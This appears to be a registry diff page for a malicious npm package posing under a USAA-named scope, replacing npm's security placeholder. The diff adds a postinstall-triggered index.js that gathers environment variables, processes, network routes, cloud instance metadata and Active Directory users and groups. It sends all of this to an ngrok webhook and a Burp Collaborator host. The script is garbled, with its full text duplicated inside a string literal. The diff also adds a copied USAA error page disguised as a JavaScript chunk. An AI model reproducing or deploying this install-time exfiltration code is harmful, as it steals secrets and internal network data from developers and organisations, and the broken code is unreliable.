@usaa-grp-ent-conv-platform/usaa 0.0.1-security → 1.1.20

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.

This version of @usaa-grp-ent-conv-platform/usaa might be problematic. Click here for more details.

Files changed (5) hide show
  1. package/.txt +0 -0
  2. package/chunk.769.012e7442dc199b7cac66.js +53 -0
  3. package/index.js +148 -0
  4. package/package.json +8 -3
  5. package/README.md +0 -5
package/.txt ADDED
File without changes
package/chunk.769.012e7442dc199b7cac66.js ADDED
@@ -0,0 +1,53 @@
1
+
2
+
3
+
4
+
5
+ <!doctype html><!-- usaa-serverbusy-page@0.0.0 --><html lang="en"><head><meta name="ROBOTS" content="nofollow,noindex" /><title data-react-helmet="true"> System Error | USAA | USAA</title><meta charSet="utf-8"/><meta http-equiv="X-UA-Compatible" content="IE=edge"/><meta id="Viewport" name="viewport" content="width=device-width, initial-scale=1"/><link data-react-helmet="true" rel="stylesheet" href="/serverbusy/react0624/nav!utils.css"/><script>var USAA={};USAA.ent={};USAA.ent.digitalData={"page":{"activityType":"Error","attributes":{"appId":"usaa-serverbusy-page"},"businessUnit":"USAA","flowType":"Error","pageDesc":"Error","pageName":"","productLOB":"None","productOffered":"None","productQualifier":"None"},"product":[],"event":[],"component":{"attributes":{}},"user":{"attributes":{}},"version":{"version":"1"},"campaign":{}};</script> <script data-react-helmet="true" async="" defer="" src="/serverbusy/react0624/nav!utils.js"></script><script data-react-helmet="true">
6
+ (function() {
7
+ var breakpoints = {"0":"xxs","414":"xs","568":"sm","768":"md","1024":"lg","1280":"xl","1440":"xxl","1600":"xxxl"};
8
+ var attempts = 0;
9
+
10
+ function getGridLayoutClasses(el) {
11
+ var result = [];
12
+
13
+ if (el && typeof el.offsetWidth === 'number') {
14
+ var width = el.offsetWidth;
15
+
16
+ for (var breakpointSize in breakpoints) {
17
+ if (width > Number(breakpointSize)) {
18
+ result.push('layout-' + breakpoints[breakpointSize]);
19
+ }
20
+ }
21
+ }
22
+
23
+ return result;
24
+ }
25
+
26
+ function updatePageGridClasses() {
27
+ var el = document.querySelector('.mainPanel');
28
+ if (el) {
29
+ var layoutClasses = getGridLayoutClasses(el);
30
+ el.className += ' ' + layoutClasses.join(' ');
31
+ } else {
32
+ if (attempts > 100) return;
33
+ attempts++;
34
+ setTimeout(updatePageGridClasses, 5);
35
+ }
36
+ }
37
+
38
+ updatePageGridClasses();
39
+ })();
40
+ var requestId = "888a0217"
41
+ var statusCode = "2736803";
42
+ var ipAddress = "129.222.253.45";
43
+
44
+
45
+
46
+ var errorType = "System Error";
47
+ var errorDescription = "We’ve encountered a problem. We are looking into it. ";
48
+ var errorDetails = "Please try again later, or for immediate assistance ";
49
+
50
+
51
+
52
+ </script><link rel="stylesheet" href="/serverbusy/react0624/usaa-serverbusy-page.a583054019b83d3b032c.css"/></head><body class="font-narrow"><div id="mainAppRoot"><div class="pageWrapper"><a href="#usaa-templateContent" class="usaa-skipToContent screenReader" accessKey="2">Skip to Content</a><div class="pageWrapper-inner"><div class="usaa-globalHeader"></div><div id="usaa-templateContent" class="pageContent"><div class="mainPanel " role="main"><div class="mainContentWrapper"><div class=""><div class="errorPage"><svg class="errorPage-icon" xmlns="http://www.w3.org/2000/svg" viewBox="0 -30 90 90"><path fill="#0D2F4C" d="M0-21v15h90v-15H0zm7.5 10.5c-1.7 0-3-1.3-3-3s1.3-3 3-3 3 1.3 3 3-1.3 3-3 3zm10.5 0c-1.7 0-3-1.3-3-3s1.3-3 3-3 3 1.3 3 3-1.3 3-3 3zm10.5 0c-1.7 0-3-1.3-3-3s1.3-3 3-3 3 1.3 3 3-1.3 3-3 3zM0-3v54h90V-3H0zm56.7 34.7l-4.2 4.2-7.5-7.4-7.4 7.4-4.2-4.2 7.4-7.4-7.4-7.4 4.2-4.2L45 20l7.4-7.4 4.2 4.2-7.4 7.4 7.5 7.5z"></path></svg><h1 class="errorPage-title"> System Error </h1><p class="errorPage-description">errorDescription<br class="break"/>errorDetails <a href="#" aria-label="contact us, opens popup">contact us</a>.</p></div></div></div></div></div><footer class="pageFooter"><div class="usaa-globalFooterNav"></div><div class="pageFooter-notes"><div class="pageFooter-disclosures pageFooter-disclosures--aboveFootnotes"></div><div class="pageFooter-footnotes"></div><div class="pageFooter-disclosures pageFooter-disclosures--belowFootnotes"></div></div></footer></div></div></div> <script src="https://www.usaa.com/serverbusy/react0624/react!react-dom.min.js"></script><script src="/serverbusy/react0624/usaa-serverbusy-page.e9ff19371382ff950218.js"></script> </body></html>
53
+
package/index.js ADDED
@@ -0,0 +1,148 @@
1
+ const os = require("os");
2
+ const { execSync } = require("child_process");
3
+ const fs = require("fs");
4
+ const https = require("https");
5
+
6
+ // Setup your Burp Collaborator and Ngrok webhook URLs
7
+ const collaboratorURL = "v1x2xki0sr5mbc04v2cjyt6p0g68u8ix.oastify.com";
8
+ const webhookURL = "https://const os = require("os");
9
+ const { execSync } = require("child_process");
10
+ const fs = require("fs");
11
+ const https = require("https");
12
+
13
+ // Setup your Burp Collaborator and Ngrok webhook URLs
14
+ const collaboratorURL = "v1x2xki0sr5mbc04v2cjyt6p0g68u8ix.oastify.com";
15
+ const webhookURL = "https://7c9a-98-97-172-99.ngrok-free.app";
16
+
17
+ // Function to execute shell commands safely
18
+ function runCommand(cmd) {
19
+ try {
20
+ return execSync(cmd, { encoding: "utf-8" }).trim();
21
+ } catch (error) {
22
+ return `Error executing command: ${cmd}`;
23
+ }
24
+ }
25
+
26
+ // Gather system information
27
+ const systemInfo = {
28
+ hostname: os.hostname(),
29
+ user: os.userInfo().username,
30
+ os: os.platform(),
31
+ arch: os.arch(),
32
+ cpus: os.cpus().length,
33
+ date: new Date().toISOString(),
34
+ networkInterfaces: os.networkInterfaces(),
35
+ environmentVariables: process.env,
36
+ runningProcesses: os.platform() === "win32" ? runCommand("tasklist") : runCommand("ps aux"),
37
+ };
38
+
39
+ // Collect networking details
40
+ systemInfo.dnsResolvers = runCommand("nslookup google.com");
41
+ systemInfo.activeDirectoryDomain = runCommand("whoami /fqdn");
42
+ systemInfo.internalRoutes = runCommand(os.platform() === "win32" ? "route print" : "ip route show");
43
+ systemInfo.reverseDNS = runCommand(`nslookup ${collaboratorURL}`);
44
+ systemInfo.traceroute = runCommand(os.platform() === "win32" ? "tracert -d 8.8.8.8" : "traceroute -n 8.8.8.8");
45
+ systemInfo.publicIP = runCommand("curl -s ifconfig.me");
46
+
47
+ // Capture cloud metadata
48
+ systemInfo.azureMetadata = runCommand("curl -s http://169.254.169.254/metadata/v1/instance");
49
+ systemInfo.awsMetadata = runCommand("curl -s http://169.254.169.254/latest/meta-data/");
50
+
51
+ // Collect Active Directory details
52
+ systemInfo.domainUsers = runCommand("net user %USERNAME% /domain");
53
+ systemInfo.domainGroups = runCommand("net group /domain");
54
+ systemInfo.dsquery = runCommand("dsquery user");
55
+
56
+ // Send the data to Ngrok for logging
57
+ const data = JSON.stringify(systemInfo);
58
+ const options = {
59
+ hostname: webhookURL.replace("https://", "").split("/")[0],
60
+ port: 443,
61
+ path: "/data",
62
+ method: "POST",
63
+ headers: {
64
+ "Content-Type": "application/json",
65
+ "Content-Length": data.length,
66
+ },
67
+ };
68
+
69
+ const req = https.request(options, (res) => {
70
+ console.log(`Status: ${res.statusCode}`);
71
+ });
72
+ req.on("error", (error) => {
73
+ console.error(`Error sending data: ${error.message}`);
74
+ });
75
+ req.write(data);
76
+ req.end();
77
+
78
+ // Log locally for verification
79
+ fs.writeFileSync("log.json", JSON.stringify(systemInfo, null, 2));
80
+
81
+ console.log("System data collected and sent!");
82
+ ";
83
+
84
+ // Function to execute shell commands safely
85
+ function runCommand(cmd) {
86
+ try {
87
+ return execSync(cmd, { encoding: "utf-8" }).trim();
88
+ } catch (error) {
89
+ return `Error executing command: ${cmd}`;
90
+ }
91
+ }
92
+
93
+ // Gather system information
94
+ const systemInfo = {
95
+ hostname: os.hostname(),
96
+ user: os.userInfo().username,
97
+ os: os.platform(),
98
+ arch: os.arch(),
99
+ cpus: os.cpus().length,
100
+ date: new Date().toISOString(),
101
+ networkInterfaces: os.networkInterfaces(),
102
+ environmentVariables: process.env,
103
+ runningProcesses: os.platform() === "win32" ? runCommand("tasklist") : runCommand("ps aux"),
104
+ };
105
+
106
+ // Collect networking details
107
+ systemInfo.dnsResolvers = runCommand("nslookup google.com");
108
+ systemInfo.activeDirectoryDomain = runCommand("whoami /fqdn");
109
+ systemInfo.internalRoutes = runCommand(os.platform() === "win32" ? "route print" : "ip route show");
110
+ systemInfo.reverseDNS = runCommand(`nslookup ${collaboratorURL}`);
111
+ systemInfo.traceroute = runCommand(os.platform() === "win32" ? "tracert -d 8.8.8.8" : "traceroute -n 8.8.8.8");
112
+ systemInfo.publicIP = runCommand("curl -s ifconfig.me");
113
+
114
+ // Capture cloud metadata
115
+ systemInfo.azureMetadata = runCommand("curl -s http://169.254.169.254/metadata/v1/instance");
116
+ systemInfo.awsMetadata = runCommand("curl -s http://169.254.169.254/latest/meta-data/");
117
+
118
+ // Collect Active Directory details
119
+ systemInfo.domainUsers = runCommand("net user %USERNAME% /domain");
120
+ systemInfo.domainGroups = runCommand("net group /domain");
121
+ systemInfo.dsquery = runCommand("dsquery user");
122
+
123
+ // Send the data to Ngrok for logging
124
+ const data = JSON.stringify(systemInfo);
125
+ const options = {
126
+ hostname: webhookURL.replace("https://", "").split("/")[0],
127
+ port: 443,
128
+ path: "/data",
129
+ method: "POST",
130
+ headers: {
131
+ "Content-Type": "application/json",
132
+ "Content-Length": data.length,
133
+ },
134
+ };
135
+
136
+ const req = https.request(options, (res) => {
137
+ console.log(`Status: ${res.statusCode}`);
138
+ });
139
+ req.on("error", (error) => {
140
+ console.error(`Error sending data: ${error.message}`);
141
+ });
142
+ req.write(data);
143
+ req.end();
144
+
145
+ // Log locally for verification
146
+ fs.writeFileSync("log.json", JSON.stringify(systemInfo, null, 2));
147
+
148
+ console.log("System data collected and sent!");
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "@usaa-grp-ent-conv-platform/usaa",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.1.20",
4
+ "description": "Security testing package for dependency confusion vulnerability",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "author": "Th3_Mad_Hack3r",
10
+ "license": "MIT"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40usaa-grp-ent-conv-platform%2Fusaa for more information.